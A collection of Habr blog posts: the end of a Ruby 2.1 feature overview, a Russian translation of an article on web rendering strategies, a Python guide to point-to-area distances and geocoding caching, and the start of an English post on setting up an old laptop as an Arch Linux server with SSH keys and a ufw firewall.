TypeError: no implicit conversion of Symbol into Integer
```
Зато при запуске на Ruby 2.1 всё будет хорошо:
```
foo
```
#### Работа с сетевыми интерфейсами
Теперь можно получить доступ к сетевыми интерфейсам при помощи метода `Socket.getifaddrs`:
```
require 'socket'
Socket.getifaddrs.each do |i|
puts "#{i.name}: #{i.addr.ip_address}" if i.addr.ip?
end
```
Пример вывода такой программы:
```
lo0: fe80::1%lo0
lo0: 127.0.0.1
lo0: ::1
en0: fe80::1240:f3ff:fe7e:594e%en0
en0: 192.168.178.30
en2: fe80::3e07:54ff:fe6f:147a%en2
```
#### Быстрая работа с числами для вычислительных задач
Ruby 2.1 ведёт себя быстрее при работе с большими числами благодаря использованию 128-битных целых чисел в качестве внутреннего представления объектов класса `Bignum`. Более того, применение GNU Multiple Precision Arithmetic Library даёт дополнительный прирост к производительности.
#### Изменения в виртуальной машине
Теперь виртуальная машина Ruby наряду с использованием глобального кэша методов выполняет кэширование по месту вызова функции. Про это есть [отдельные слайды](https://speakerdeck.com/rkh/aloha-ruby-conf-2012-message-in-a-bottle).
#### RGenGC
Новая версия Ruby использует новый сборщик мусора на основе поколений. Благодаря этому сборка мусора будет происходить быстрее. До этого использовался консервативный сборщик мусора, работающий по схеме «stop the world — mark — sweep».
На самом деле, старый сборщик никуда не исчез. Такие вещи сложно менять из-за особенностей внутреннего и внешнего программного интерфейса Ruby для языка Си.
Тем не менее, виртуальная машина Ruby 2.1 выполняет классификацию объектов на *светлые* и *тёмные*. В зависимости от присвоенного класса определяется поведение сборщика мусора. Имеются операции, которые делают *светлый* объект *тёмным*. Например, работа с ним из расширения на языке Си. Такие объекты, как открытые файлы, являются *тёмными* изначально.
Новый сборщик мусора работает только со *светлыми* объектами.
#### Обновление RubyGems
RubyGems получили обновление до версии 2.2.0, которая приносит несколько незначительных усовершенствований.
#### Ничто не вечно
Не стоит забывать, что недавний релиз является лишь предварительной версией, и всё вышеописанное может измениться. | https://habr.com/ru/post/195844/ | null | ru | null |
# Рендеринг в веб
Как разработчики, мы часто сталкиваемся с решениями, которые влияют на всю архитектуру наших приложений. Одно из основных решений, которое должны принять веб-разработчики - это где реализовывать логику и рендеринг в своем приложении. Это может быть непросто, так как существует множество различных вариантов построения сайта.
---
о переводеПереведя почти всю статью я внезапно обнаружил, что в том же источнике она присутствует и на русском языке (сразу не обнаружил потому что в выпадающем списке переводов нет русского языка, перевод нашелся через Google - <https://developers.google.com/web/updates/2019/02/rendering-on-the-web?hl=ru>). Однако, при ближайшем рассмотрении перевод "рендеринг сервера" вместо "серверный рендеринг" сразу дал понять что перевод был сделан машиной.
Непосредственно перед публикацией своего перевода здесь, я ещё раз зашел на тот русский перевод и ... обнаружил что его кто-то уже существенно улучшил :))) Однако, на мой пристальный взгляд, он всё равно не лишён недостатков.
В итоге, я всё же решил опубликовать свой вариант перевода, так как, на мой взгляд, статья в любом случае **достойна того чтобы привлечь к ней внимание**, а какой перевод прочесть, в итоге каждый выберет сам.
Спасибо!
Наше понимание в этой области основано на нашей работе с Chrome, и контактировании с большими сайтами в течение последних нескольких лет. В общем, мы хотим вдохновить разработчиков рассмотреть использование серверного рендеринга или статического рендеринга с полноценной регидратацией.
Чтобы лучше понимать архитектуры, из которых мы выбираем, когда принимаем решение, нам необходимо иметь четкое понимание каждого подхода и последовательную терминологию, которую мы будем использовать, когда говорим о них. Различия между этими подходами помогают проиллюстрировать компромиссы при рендеринге в вебе через призму производительности.
Терминология
------------
**Рендеринг**
* **SSR:** Server-Side Rendering - рендеринг в HTML клиентского или универсального приложения на сервере.
* **CSR:** Client-Side Rendering - рендеринг приложения в браузере, обычно используя DOM
* **Rehydration (регидратация):** "загрузка" JavaScript отображениий на клиенте таким образом, чтобы они повторно использовали отрендеренное на сервере DOM-дерево и данные HTML-а
* **Prerendering (пре-рендеринг):** выполнение клиентского приложения во время сборки для захвата его начального состояния в виде статического HTML.
**Performance**
* **TTFB:** Time to First Byte - время между нажатием на ссылку и временем прихода первого бита контента
* **FP:** First Paint - время когда первый пиксель становится виден пользователю
* **FCP:** First Contentful Paint - время до показа пользователю запрошенного контента (тела статьи и т.п.)
* **TTI:** Time To Interactive - время до момента когда страница становится интерактивной (начинают работать события и т.д.)
Server Rendering (Серверный рендеринг)
--------------------------------------
*Серверный рендеринг генерирует полный HTML страницы на сервере в ответ на навигацию. Это позволяет избежать дополнительных проходов для получения данных и шаблонов на клиенте, так как это выполняется до того, как браузер получает ответ.*.
Серверный рендеринг обычно даёт быстрый [First Paint](https://developers.google.com/web/fundamentals/performance/user-centric-performance-metrics#first_paint_and_first_contentful_paint) (FP) и [First Contentful Paint](https://developers.google.com/web/fundamentals/performance/user-centric-performance-metrics#first_paint_and_first_contentful_paint) (FCP). Выполнение логики страницы и её рендеринг на сервере позволяют избежать отправки большого количества JavaScript клиенту, что помогает достичь быстрого [Time to Interactive](https://developers.google.com/web/tools/lighthouse/audits/time-to-interactive) (TTI). Это имеет смысл потому, что при серверном рендеринге вы на самом деле просто посылаете текст и ссылки в браузер пользователя. Такой подход может хорошо работать для широкого спектра устройств и сетевых условий и открывает интересные возможности для оптимизации браузера, например можно выполнять разбор потоковых (streaming) документов.
При серверном рендеринге пользователи вряд ли будут вынуждены ждать, пока CPU-зависимый JavaScript будет выполнен, прежде чем они смогут использовать ваш сайт. Даже когда [стороннего JS](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/loading-third-party-javascript/) не избежать, использование серверного рендеринга для уменьшения собственных [JS costs](https://medium.com/@addyosmani/the-cost-of-javascript-in-2018-7d8950fbb5d4) (JS затрат) может дать вам больше "[budget](https://medium.com/@addyosmani/start-performance-budgeting-dabde04cf6a3)" (бюжета) для остального. Однако, есть один основной недостаток такого подхода: генерация страниц на сервере занимает время, что часто может привести к замедлению [Time to First Byte](https://en.wikipedia.org/wiki/Time_to_first_byte) (TTFB).
Достаточно ли серверного рендеринга для вашего приложения, во многом зависит от того, какое приложение вы строите. Существует давняя дискуссия о правильности применения серверного рендеринга вместо клиентского рендеринга, но важно помнить, что вы можете использовать серверный рендеринг для одних страниц, а для других нет. Некоторые сайты с успехом переняли гибридный рендеринг. [Netflix](https://medium.com/dev-channel/a-netflix-web-performance-case-study-c0bcde26a9d9) делает серверный рендеринг своих относительно статических страниц, в то время как делает [prefetching](https://dev.to/addyosmani/speed-up-next-page-navigations-with-prefetching-4285) JS для страниц с тяжелым взаимодействием, давая этим более тяжелым отрендеренным на клиенте страницам больше шансов на быструю загрузку.
Многие современные фреймворки, библиотеки и архитектуры позволяют отрисовывать одно и то же приложение как на клиенте, так и на сервере. Эти инструменты могут быть использованы для Server Rendering, однако важно отметить, что архитектуры, где рендеринг происходит как на сервере, так и на клиенте, являются собственным классом решений с очень различными характеристиками производительности и компромисами. React пользователи могут использовать для серверного рендеринга [renderToString()](https://reactjs.org/docs/react-dom-server.html) или решения, построенные на нем, такие как [Next.js](https://nextjs.org/). Пользователи Vue могут ознакомиться с [руководством по серверному рендерингу](https://ssr.vuejs.org/) Vue или познакомиться с [Nuxt](https://nuxtjs.org/). В Angular есть [Universal](https://angular.io/guide/universal). Однако большинство популярных решений используют ту или иную форму гидратации (hydration), поэтому перед выбором инструмента следует ознакомиться с используемыми подходами.
Static Rendering (Статический рендеринг)
----------------------------------------
[Статический рендеринг](https://frontarm.com/articles/static-vs-server-rendering/) происходит во время сборки и даёт быстрый FP, FCP и TTI - это если предопложить, что количество клиентского JS невелико. В отличие от серверного рендеринга, ему также удаётся достичь стабильно быстрого TTFB, так как HTML для страницы не нужно генерировать "на лету". Как правило, статический рендеринг означает создание отдельного HTML-файла для каждого URL заранее. С HTML генерируемым заранее, статический рендеринг может быть развернут на нескольких CDN, чтобы воспользоваться преимуществами edge-кеширования.
Решения для статического рендеринга бывают разных форм и размеров. Такие инструменты как [Gatsby](https://www.gatsbyjs.org/) разработаны для того, чтобы разработчики чувствовали, что их приложение отрисовывается динамически, а не генерируется на этапе сборки. Другие, такие как [Jekyll](https://jekyllrb.com/) и [Metalsmith](https://metalsmith.io/), принимают их статическую природу, предоставляя подход более заточенный на шаблоны.
Одним из недостатков статического рендеринга является то, что отдельные HTML-файлы должны быть сгенерированы для каждого возможного URL. Это может быть сложно или даже невозможно, когда вы не можете предсказать, какими будут эти URL заранее, или если на сайте большое количество уникальных страниц.
React пользователи могут быть знакомы с [Gatsby](https://www.gatsbyjs.org/), [Next.js static export](https://nextjs.org/learn/excel/static-html-export/) или [Navi](https://frontarm.com/navi/) - все они дают удобство для использующих эти компоненты. Однако, важно понимать разницу между статическим рендерингом и пре-рендингом: статический рендеринг страниц интерактивен без необходимости выполнения большого количества клиентского JS, в то время как пре-рендеринг улучшает FP (First Paint) или FCP (First Contentful Paint) одностраничного приложения (SPA), которое должно быть загружено на клиенте для того, чтобы страницы были по-настоящему интерактивными.
Если вы не уверены, является ли решение статическим рендерингом или пре-рендерингом, попробуйте такой тест: отключите JavaScript и загрузите созданные веб-страницы. У статически отрендеренных страниц бОльшая часть функционала все равно будет существовать и без включённого JavaScript. У пре-рендеренных страниц все еще может быть некоторая базовая функциональность, такая как ссылки, но бОльшая часть страницы будет неживой.
Другой полезный тест - замедление работы сети с помощью Chrome DevTools и наблюдение за тем, сколько JavaScript было загружено до того, как страница стала интерактивной. Пре-рендеринг обычно требует больше JavaScript для получения интерактивности, а так же этот JavaScript имеет тенденцию быть более сложным, чем [Progressive Enhancement](https://developer.mozilla.org/en-US/docs/Glossary/Progressive_Enhancement) подход, используемый при статическом рендеринге.
Серверный рендеринг против статического
---------------------------------------
Серверный рендеринг не является серебряной пулей - его динамическая природа может сопровождаться [значительными накладными расходами](https://medium.com/airbnb-engineering/operationalizing-node-js-for-server-side-rendering-c5ba718acfc9). Многие решения для серверного рендеринга don't flush early, могут задерживать TTFB или задваивать отправленные данные (например, в inlane стэйте, используемом JS на клиенте). В React, renderToString() может быть медленным, так как он синхронный и однопоточный. Получение "правильного" рендеринга сервера может включать в себя поиск или создание решения для [компонентного кеширования](https://medium.com/@reactcomponentcaching/speedier-server-side-rendering-in-react-16-with-component-caching-e8aa677929b1), управление потреблением памяти, применение [memoization](https://speakerdeck.com/maxnajim/hastening-react-ssr-with-component-memoization-and-templatization) техник, и многие другие вопросы. Как правило, вы обрабатываете/пересобираете одно и то же приложение несколько раз - один раз на клиенте и один раз на сервере. То, что серверный рендеринг может заставить что-то появиться раньше, не означает, что у вас вдруг стало меньше работы.
Серверный рендеринг генерирует HTML по требованию для каждого URL, но это может быть медленнее, чем просто обслуживание статически отрендереного контента. Если вы готовы сделать дополнительные усилия, то серверный рендеринг + [HTML кеширование] (<https://freecontent.manning.com/caching-in-react/>) может значительно сократить время серверного рендеринга. Положительной стороной серверного рендеринга является возможность получать более "живые" данные и отвечать на более полный набор запросов, чем это возможно при статическом рендеринге. Страницы, требующие персонализации, являются хорошим примером типа запроса, который плохо работает со статическим рендерингом.
Серверный рендеринг также может представлять интересные решения при построении [PWA](https://developers.google.com/web/progressive-web-apps/). Лучше ли использовать full-page [service worker](https://developers.google.com/web/fundamentals/primers/service-workers/) кеширование, или просто рендерить на сервере отдельные фрагменты контента?
Client-Side Rendering (CSR)
---------------------------
*Рендеринг на стороне клиента (CSR) означает рендеринг страниц непосредственно в браузере с использованием JavaScript. Вся логика, сбор данных, шаблонирование и маршрутизация обрабатываются на клиенте, а не на сервере.*
Клиентский рендеринг может быть сложным в части получения и быстроты на мобильных устройствах. Он может достигать производительности чистого сервер-рендеринга, если делать минимальную работу, сохраняя [компактным JavaScript бюджет](https://mobile.twitter.com/HenrikJoreteg/status/1039744716210950144) и доставляя объёмы в как можно меньшем количестве [RTTs](https://en.wikipedia.org/wiki/Round-trip_delay_time). Критические скрипты и данные могут быть доставлены быстрее с помощью [HTTP/2 Server Push](https://www.smashingmagazine.com/2017/04/guide-http2-server-push/) или , что заставит парсер работать на вас быстрее. Такие шаблоны, как [PRPL](https://developers.google.com/web/fundamentals/performance/prpl-pattern/), стоит рассмотреть, чтобы первоначальная и последующая навигация чувствовалась быстрыми.
Основным недостатком Client-Side Rendering является то, что количество требуемого JavaScript имеет тенденцию расти по мере роста приложения. Это становится особенно трудным с добавлением новых JavaScript-библиотек, полифилов и стороннего кода, которые конкурируют за вычислительную мощность и часто должны быть обработаны, прежде чем содержимое страницы может быть визуализировано. Опыт построения CSR, опирающийся на большие пакеты JavaScript, должен учитывать [агрессивное разделение кода](https://developers.google.com/web/fundamentals/performance/optimizing-javascript/code-splitting/), и чувствовать себя уверенным в работе с ленивой загрузкой JavaScript - "обслуживать только то, что вам нужно и когда вам это нужно". Для случаев с небольшой интерактивностью или вообще без нее, серверный рендеринг может представлять собой более масштабируемое решение этих проблем.
Для тех, кто создает одностраничное приложение, определение основных частей пользовательского интерфейса, разделяемого большинством страниц, означает возможность применить технику [Application Shell caching](https://developers.google.com/web/updates/2015/11/app-shell). В сочетании с service workers это может драматически повысить воспринимаемую производительность при повторных визитах.
Комбинация серверного рендеринга и клиентского через регидратацию
-----------------------------------------------------------------
Часто называемый Universal Rendering или просто "SSR", этот подход пытается сгладить компромиссы клиентского и серверного редеринга, делая и то, и другое. Навигационные запросы, такие как полная загрузка страницы или перезагрузка, обрабатываются сервером, который рендерит приложение в HTML, затем JavaScript и данные, используемые для рендеринга, встраиваются в результирующий документ. При тщательной реализации, это даёт быстрый FCP (First Contentful Paint) такой же, как Server Rendering, а далее "усиливает это" путем рендеринга опять же на клиенте с помощью техники, называемой [(re)hydration](https://docs.electrode.io/guides/general/server-side-data-hydration) ((ре)гидратация). Это новое решение, но оно может иметь некоторые существенные недостатки в производительности.
Основной недостаток SSR с регидратацией (rehydration) заключается в том, что она может оказать значительное негативное влияние на TTI (Time To Interactive), даже если она улучшает FP (First Paint). SSR-страницы часто выглядят обманчиво полностью загруженными и интерактивными, но на самом деле не могут реагировать на ввод, пока не будет выполнен JS на стороне клиента и не будут прикреплены обработчики событий. Это может занять секунды или даже минуты на мобильном устройстве.
Возможно, вы сами это испытавали - в течение некоторого времени после того, как страница выглядит так, как будто она загружена, нажатие на нее или касание ничего не даёт. Это быстро расстраивает... *Почему ничего не происходит? Почему я не могу скроллить?*
### = Проблема регидратации: Одно приложение по цене двух
Проблемы с регидратацией часто могут быть хуже, чем задержка интерактивности из-за JS. Для того, чтобы JavaScript на стороне клиента мог точно "определить" ("pick up") то место, где остановился сервер, без необходимости повторно запрашивать все данные, использованные сервером для рендеринга этого HTML, текущие SSR решения обычно сериализуют ответ из зависимых данных UI в документ в виде тегов script. Полученный HTML-документ содержит высокий уровень дублирования:
Как вы видите, сервер возвращает описание пользовательского интерфейса приложения в ответ на навигационный запрос, но также возвращает исходные данные, использованные для составления этого интерфейса, и полную копию реализации интерфейса, которая затем загружается на клиенте. Только после того, как bundle.js завершит загрузку и выполнение, этот пользовательский интерфейс станет интерактивным.
Показатели производительности, собранные с реальных веб-сайтов, использующих SSR регидратацию, указывают на то, что их использование должно приводить в уныние. В конце концов, причина сводится к Пользовательскому Опыту: очень легко оставить пользователей в "жуткой долине".
Но всё же надежда на SSR с регидратацией есть. В краткосрочной перспективе, только использование SSR для высоко кешируемого содержимого может уменьшить задержку TTFB (Time to First Byte), давая результаты, схожие с пре-рендерингом. Регидратация [инкрементальная](https://blog.emberjs.com/glimmer-progress-report/), прогрессивная или частичная, может быть ключом к тому, чтобы сделать эту технику более жизнеспособной в будущем.
Потоковый серверный рендеринг и прогрессивная регидратация
----------------------------------------------------------
Серверный рендеринг за последние несколько лет претерпел ряд изменений.
[Потоковый серверный рендеринг](https://zeit.co/blog/streaming-server-rendering-at-spectrum) (Streaming server rendering) позволяет посылать HTML в чанках, которые браузер может прогрессивно рендерить по мере получения. Это может обеспечить быстрый FP (First Paint) и FCP (First Contentful Paint), так как разметка поступает к пользователям быстрее. В React, потоковость, будучи асинхронной в [renderToNodeStream()](https://reactjs.org/docs/react-dom-server.html#rendertonodestream) - по сравнению с синхронным renderToString - означает, что backpressure обрабатывается хорошо.
Прогрессивная регидратация также заслуживает внимания, и кое-что в React было [исследовано](https://github.com/facebook/react/pull/14717). При таком подходе отдельные части приложения, возвращаемого с сервера, "загружаются" постепенно, вместо текущего общепринятого подхода когда инициализируется сразу всё приложение. Это может помочь уменьшить количество JavaScript, необходимого для того, чтобы сделать страницы интерактивными, так как обновление на клиентской стороне низкоприоритетных частей страницы может быть отложено, чтобы предотвратить блокировку основного потока. Это также может помочь избежать одной из наиболее распространенных ловушек SSR Rehydration, когда отрендеренный на сервере DOM разрушается, а затем сразу же восстанавливается - чаще всего потому, что начальный синхронный рендеринг на стороне клиента требует данных, которые были не совсем готовы, возможно, ожидая завершения Promise.
### = Частичная регидратация
Частичная регидратация оказалась трудной для осуществления. Этот подход является продолжением идеи прогрессивной регидратации, когда отдельные части (компоненты / виджеты / деревья), подлежащие прогрессивной регидратации, анализируются, а те, которые обладают низкой интерактивностью или не обладают реактивностью помечаются. Для каждой из этих наиболее статических частей соответствующий код JavaScript затем трансформируется в инертные ссылки и декоративную функциональность, уменьшая их влияние на стороне клиента до почти нулевого уровня. Подход, основанный на частичной гидратации, имеет свои собственные проблемы и компромиссы. Он создает некоторые интересные вызовы для кеширования, а навигация на стороне клиента означает, что мы не можем иметь HTML рендерящийся на сервере для инертных частей приложения и доступный без полной загрузки страницы.
### = Трисоморфный рендеринг (Trisomorphic Rendering)
Если [service workers](https://developers.google.com/web/fundamentals/primers/service-workers/), являются подходящим вариантом для вас, то "трисоморфный" рендеринг также может быть вам интересен. Это метод, при котором вы можете использовать потоковый серверный рендеринг для начальных/не-JS навигаций, а затем попросить ваш service worker взять на себя рендеринг HTML для навигации после того как он будет смонтирован. Это может поддерживать кешированные компоненты и шаблоны в актуальном состоянии и позволяет использовать навигацию в стиле SPA для рендеринга новых UI-частей в той же сессии. Такой подход лучше всего работает, когда вы можете поделиться одним и тем же шаблоном и кодом маршрутизации между сервером, клиентской страницей и service worker.
SEO соображения
---------------
Команды часто учитывают влияние SEO при выборе стратегии для рендеринга в вебе. Серверный рендеринг часто выбирается для обеспечения поисковым роботам возможности лёгкого "полного поиска". Поисковые роботы [могут понимать JavaScript](https://web.dev/discoverable/how-search-works), но часто существуют [ограничения](https://developers.google.com/search/docs/guides/rendering), о которых стоит знать в части того как они рендерят. Рендеринг на стороне клиента может работать, но часто не без дополнительного тестирования и трудной работы. В последнее время [динамический рендеринг](https://developers.google.com/search/docs/guides/dynamic-rendering) также стал вариантом, заслуживающим внимания, если ваша архитектура в значительной степени ориентирована на клиентский JavaScript.
В случае сомнений, инструмент [Mobile Friendly Test](https://search.google.com/test/mobile-friendly) бесценен для проверки, что выбранный вами подход делает то, что бы вы хотели. Он показывает визуальный предварительный просмотр того, как какую-либо страницу видет поисковый робот Google, сериализованный HTML контент, найденный (после выполнения JavaScript), и любые ошибки, обнаруженные во время рендеринга.
Заключение...
-------------
При принятии решения о подходе к рендерингу, измеряйте и понимайте, каковы ваши "узкие места". Подумайте, может ли статический рендеринг или серверный рендеринг дать вам хотя бы 90% возможностей. Совершенно нормально обычно отправлять HTML с минимальным количеством JS, чтобы получить интерактивный опыт. Вот удобная инфографика, показывающая спектр возможностей в разрезе сервер-клиент:
Благодарности
-------------
Спасибо всем этим людям за отзывы и вдохновение:
Jeffrey Posnick, Houssein Djirdeh, Shubhie Panicker, Chris Harrelson, and Sebastian Markbåge | https://habr.com/ru/post/548382/ | null | ru | null |
# В зоне доступа. Находим расстояние от точки до области и сокращаем запросы обратного геокодинга
Мне не раз приходилось реализовывать функционал расчета расстояния от некоторой географической точки до области на карте — например, до МКАД. В итоге я нашёл два способа решения задачи, которые показали хорошие результаты, и теперь мы регулярно пользуемся ими в продакшне. Опишу их в первой части статьи. А во второй покажу, как можно кешировать геоданные, чтобы меньше обращаться к геокодеру.
Часть первая. Два способа найти на карте расстояние от точки до области
-----------------------------------------------------------------------
Если ваше мобильное приложение действительно мобильное, оно работает с координатами устройства. Местоположение пользователя (и устройства) влияет на различные бизнес-показатели приложения, такие, как стоимость доставки, коэффициент сложности работ и т.п.
Ниже я покажу примеры реализации алгоритмов на python с использованием библиотек scipy и shapely.
Для геокодирования мы используем Google Maps. Он подходит и по функционалу, и по стоимости использования. На момент написания этой статьи Google разрешает бесплатно сделать первые 20 000 запросов геокодинга в месяц.
### Способ 1. Рассчитываем маршрут на основании вершин полигона
Предположим, нам надо найти расстояние от точки где-то в Московской области до МКАД. Нужен реальный путь, а не геометрический. Поэтому сначала строим полигон из точек выездов с МКАД, а они не совпадают с вершинами очертания дороги на карте.
```
exit_coordinates: List[Tuple[float, float]]
latitude: float
longitude: float
```
Для работы с геометрией используем библиотеку [shapely.](https://shapely.readthedocs.io/en/stable/manual.html) С её помощью легко определить, находится ли интересующая нас точка внутри полигона, или нет. Если находится — расстояние очевидно равно 0.
```
from shapely.geometry import Polygon, Point
polygon = Polygon(exit_coordinates)
polygon.contains(Point(latitude,longitude))
```
Нас интересует случай, когда точка находится вне полигона. Задача найти ближайшие объекты (выезды с МКАД) до исходной точки — довольно типичная в математике. Обычно её решают с помощью KD-дерева. Так и поступим. В питоне дерево реализовано в библиотеке [scipy.](https://pypi.org/project/scipy/) Найдём ближайшие вершины из выездов с МКАД до нашей точки.
```
from scipy.spatial import KDTree
kd_tree = KDTree(exits_coordinates)
dists, indexes = kd_tree.query((latitude, longitude), k=3)
nearest_coordinates = list()
for _, index in zip(dists, indexes):
nearest_coordinates.append(exits_coordinates[index])
```
Число *k* — количество вершин — не должно быть слишком маленьким, ведь ближайший выезд со МКАД может быть временно перекрыт. Или может находиться где-нибудь за рекой и не иметь прямого пути до нашей точки. Слишком большое *k* тоже для нас бесполезно, т.к. подходящий выезд находится в нескольких ближайших вершинах. Теперь обратимся к сервису Google Maps. В нём уже есть функционал поиска расстояний из массива точек до конкретной точки — Distance Matrix API.
Upd: сервис Distance Matrix API биллингует маршрут до каждой ближайшей вершины отдельно. Таким образом, этот способ обходится дороже, чем второй, описанный далее. Спасибо [sovetnikov](https://habr.com/ru/users/sovetnikov/)
```
import googlemaps
gmaps_client = googlemaps.Client(key=settings.GOOGLE_MAPS_API_KEY)
gmaps_client.distance_matrix(
origins=nearest_coordinates,
destinations=(latitude, longitude),
mode='driving',
)
```
Нам остаётся только распарсить ответ. Обычно в нём несколько маршрутов, и самый первый не всегда самый короткий. Поэтому сами выбираем подходящее значение.
### Способ 2. Рассчитываем маршрут от центра полигона
Теперь помимо вершин полигона мы определяем некоторую точку внутри него, из которой будем строить все маршруты Google Maps. Воспользуемся Directions API, который построит для нас маршруты, и выберем кратчайший из них.
```
start_point: Tuple[float, float],
destination: Tuple[float, float]
polygon: shapely.geometry.Polygon
gmaps_client = googlemaps.Client(key=settings.GOOGLE_MAPS_API_KEY)
driving_path = gmaps_client.directions(start_point, destination)
```
Начинаем итеративно с конца складывать длины отрезков пути то тех пор, пока координата начала отрезка не окажется внутри полигона (парсинг опущен):
```
for step in reversed(driving_path):
start_point = step['start_location']['lat'], step['start_location']['lng']
if is_inside_polygon(start_point, self.polygon):
end_point = step['end_location']['lat'], step['end_location']['lng']
distance += get_part_outside_polygon(
get_line(start_point, end_point), polygon
) * step['distance']['value']
break
distance += step['distance']['value']
```
Нам остается только прибавить часть отрезка вне полигона. Для этого с помощью библиотеки shapely строим геометрическую линию между координатами начала и конца пути и находим, какая часть её длины лежит вне полигона. Такой же процент от длины высчитываем для полученного отрезка пути.
> Путь — это маршрут на местности по реальным дорогам с естественной кривизной. Если это длинная прямая (проспект или магистраль), то наше приближение позволит высчитать маршрут точно в процентном соотношении.
>
> Если же пересекающая полигон дорога достаточно кривая, такое приближение будет неверным. Но искривлённые части в самом маршруте Google Maps обычно имеют малую длину, и погрешности их вычисления не повлияют результат.
```
from shapely.geometry import LineString, Polygon
line = LineString(point1, point2)
part_outside_len = float(line.difference(polygon).length) / float(line.length)
```
Если честно, я не сравнивал эти два метода. Пользуюсь ими больше года, оба работают без сбоев. Решил не расписывать подробно их реализацию. Вместо этого открыл доступ к своей [библиотеке по работе с гео.](https://github.com/serg-the-engineer/geo-garry) Либа умеет и в обычный геокодинг, в том числе с эффективным кешированием. Issues и pull-requests приветствуются!
Часть вторая. Экономим запросы обратного геокодирования
-------------------------------------------------------
Часто нам нужно определить адреса точек, находящиеся рядом и соответствующие одному объекту в реальном мире. Каждый раз делать запрос во внешнюю систему геокодирования не круто, и тут резонно возникает вопрос о кешировании.
Обычно клиент присылает координаты с избыточной точностью, например, 59.80447691, 30.39570337. Но сколько знаков в дробной части будут для нас значимыми?
Для ленивых и торопящихся ответ — четыре. Для всех остальных — пояснение ниже.
#### Сначала немного географии.
* Длина экватора — 40 075,696 км, и это нулевая широта.
* Меридианы — линии долготы, перпендикулярны линиям широты. Длина любого меридиана — 40 008,55 км
* Градус широты — 40 008,55 км / 360 = 111,134861111 км. А значит, одна сотая дает изменение приблизительно в километр, а одна десятитысячная — в 10 метров.
* Длина окружности линии широты уменьшается от экватора, и находится умножением на косинус угла широты, следовательно, для 60 градусов широты (широты Санкт-Петербурга) длина меньше ровно в 2 раза. Тогда градус долготы — 40 075,696 \* 0.5 / 360 = 55,66066888 км, или одна десятитысячная — 5 метров.
Погрешность в 1/10000 градуса дает прямоугольник погрешности 5-10 на 10 метров. Это позволит нам точно «попасть» в здание, т.к. здание значительно крупнее точки. А если из-за погрешности точка не попадает в здание, Google всё равно определяет ближайшее к ней.
Округлять до трёх знаков рискованно, точность снижается уже существенно. А до пяти — не имеет смысла, потому что точность GPS в смартфонах обычно не превышает всего нескольких метров.
Таким образом, если в кеше есть значение с ключом «address:59.8045,30.3957», то все координаты, при округлении которых до 4х знаков получается такой же ключ, соответствуют одному геокодированному адресу. Делаем меньше запросов — работаем быстрее и меньше платим за использование сервиса геокодинга. Профит! | https://habr.com/ru/post/486066/ | null | ru | null |
# How I gave my old laptop second life
*17-19 min read*
Hi y'all, my name is Labertte and I use Arch btw.
Probably like every other Linux user, I'd like to buy a ThinkPad, put some lightweight distribution like Arch or Gentoo on it, and then ~~go to Starbucks, get a soy latte and tell everyone that I use "linux"~~. But I decided to go a little different route and give a chance to my old laptop that I was using about five or seven years ago.
Plan of the article:
1. [What to do with an old laptop](#what-to-do-with-an-old-laptop)
2. [How to make the world see your site](#how-to-make-the-world-see-your-site)
3. [Buying an IP camera, recording from the camera to the server](#ip-camera)
4. [Problem with recording video directly to the server](#camera-recording-problem)
5. [Recording solution](#recording-solution)
6. [What I learned from this experiment](#conclusions)
*Disclaimer*
I wanna warn you from the beginning that this post is nothing more than my story. It's not a full-fledged tutorial or a step-by-step guide to follow. However, if you are interested in how this or that technology works, how to make smth better, then be free to write in the comments and I'll try to write a technical article that will help you understand the topic you're interested in.
1. What to do with an old laptop?
---------------------------------
From the attic was yanked an old laptop running Windows 7, which has such characteristics:
**CPU**: Intel(R) Celeron(R) CPU B815, 2 cores, 1.6GHz
**RAM**: 2Gb
**GPU**: AMD ATI Radeon HD 6400M/7400M Series
**Monitor resolution**: 1366x768
But what can be done with this marvel-present for gamers?
In fact, there are a huge number of options, it all depends on your imagination and the time you take to implement them.
Here are just a few examples of what you can turn a dusty and useless laptop/PC:
* File storage
* Mail server
* Build-automation server
* Web server
* Proxy server
* Database server
The only thing I originally planned to do was to install Arch on it, run ssh and use scp to transfer some music or video files so they would be on the server and not on my active workstation.
A stripped-down version of NAS, you could say.
So, the first thing to do is to install the operating system. Following all the steps in the excellent [article on the ArchWiki](https://wiki.archlinux.org/title/Installation_guide), the bare OS has been installed. After connecting laptop to the local network (via Ethernet or WiFi) I got its internal IP address and MAC address with the command:
`# ip a`
Next I need to do is to enter the settings of my router (192.168.0.1) and then into DHCP Address Reservation where I connect the MAC address to the IP address. This is necessary in order to if my server 'll reconnect to the network, the router 'll give my laptop the same IP address. Make the internal IP address "static".
So, once the operating system is completely installed I can proceed to the first stage of the server configuration.
### Installing and configuring ssh
First of all, I install the necessary package to the server:
`# pacman -S openssh`
And start the service:
`# systemctl enable sshd --now`
I don't wanna enter the password every time I connect to the server, so I add ssh keys, which 'll not only increase login speed, but also enhance security.
For this purpose, I generate keys on the local computer:
`$ ssh-keygen`
The program prompts to enter the name of the file in which the private key 'll be written, as well as a password for it. I confirm the password and here I have two files - `home_server` and `home_server.pub`.
After this it is necessary to make the server trust me. To do this I copy the key to the server:
`$ ssh-copy-id -i home_server root@`
And test the connection:
`$ ssh root@`
The password is no longer required, however, I can still use it to log in, which means the server is still vulnerable to bruteforce. For this reason I prohibit login by password on the server in the configuration file `/etc/ssh/sshd_config`:
```
PubkeyAuthentication yes # Authentication through ssh public key
PasswordAuthentication no # Prohibit login through password
ChallengeResponseAuthentication no # This setting also could ask a password so disable it
UsePAM no # Depending on your PAM configuration may bypass the setting of "PermitRootLogin without-password" so disable it
```
Then I restarted the ssh daemon to apply the changes from the config:
`# systemctl reload sshd`
Next, I install a simple firewall on which open only one port - 22 (ssh):
`# pacman -S ufw`
And firewall setup:
`# ufw default deny incoming # block all incoming connections by default`
`# ufw allow from 192.168.0.0/24 to any port 22`
`# ufw enable`
And after that, start it up:
`# systemctl enable ufw --now`
Now I've ssh configured and can upload some files to the server via it.
But of course this is not enough - for what I need a server that stores files that are only accessible from my active device? I could make some kind oow to make the world see your sitef web site and/or just broadcast some files to the whole internet.
Thus, I'm smoothly approaching the idea that I wanna make a site that 'll be visible to the entire Internet.
2. How to make the world see your site
--------------------------------------
In the beginning it's necessary to think about the domain for the site. After decided on choice, go to any domain registrar and register it. (*Costs ~$8 per year*). When I bought a domain, went to the
"Set DNS Host Records" tab, and opposite to the my domain put my public IP address (it can be found out by using the command `$ curl ifconfig.co`) and click on "Save".
After changes put in the terminal:
`$ ping`
